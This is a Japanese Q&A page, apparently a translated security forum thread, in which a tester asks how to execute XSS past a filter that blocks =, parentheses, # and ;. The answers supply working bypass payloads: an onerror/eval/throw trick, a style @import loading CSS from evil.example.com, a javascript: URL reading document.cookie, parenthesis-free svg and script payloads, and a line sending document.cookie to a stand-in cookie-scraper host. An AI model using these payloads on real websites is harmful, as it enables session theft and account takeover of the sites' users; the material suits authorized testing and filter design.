web-dev-qa-db-ja.com

特別な文字のないクロスサイトスクリプティング

Webアプリケーションをテストしていますが、XSSの脆弱性が見つかりました。タグを壊してアプリケーションにコードを挿入することはできますが、クライアントにとって潜在的に危険なものはありません。

アプリケーションには、特殊文字と一部の文字列を検出するフィルターがあり、文字の間にnull値(<scr%00ipt>)を挿入する文字列認識のフィルターをバイパスできますが、それをバイパスする方法を理解できません単一の文字。

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

フィルターは文字変換を使用せず、許可されていないものが検出されると、エラーメッセージが表示されます。無効なパラメーターが検出されました

多分私は何かが欠けているかもしれませんが、今日私はこの条件下でjavascriptを実行する方法を見ません。何か案が?

22
Nucklear

はい、可能です。 onerrorでできるトリックがあります:

<img src=x onerror=eval;throw'=alert\x281\x29';>

throwはエラーを構成するため、evalはJavaScriptストリングを生成し、それをthrowに返します。これにより、完全な任意のJavaScriptインジェクションが提供されます。


OK、つまり、等号は使用できません。代わりに、私はこのトリックをお勧めします:

"><style>@import'http://evil.example.com/xss.css';</style>

これには、ページにサードパーティのCSSファイルが含まれます。そこからJavaScriptを起動できます。

body {
    background-image: url('javascript:alert(document.cookie);')
}

CSSからJavaScriptを実行するための 使用できる他のトリック もあります。

23
Polynomial

かっこをブロックするのは奇妙です。これが防ぐ攻撃については知りません。 括弧なしのXSSが可能です

support svg のブラウザの場合:

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

単純なPoCが必要な場合は、これでうまくいくはずです。

<script>onerror=alert;throw 1;</script>

しかし、実際のエクスプロイトには括弧は必要ありません。

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
19
rook

VBScriptによる簡単なトリック:<input onfocus=vbs:msgbox+1> [IEで動作]

2
satishb3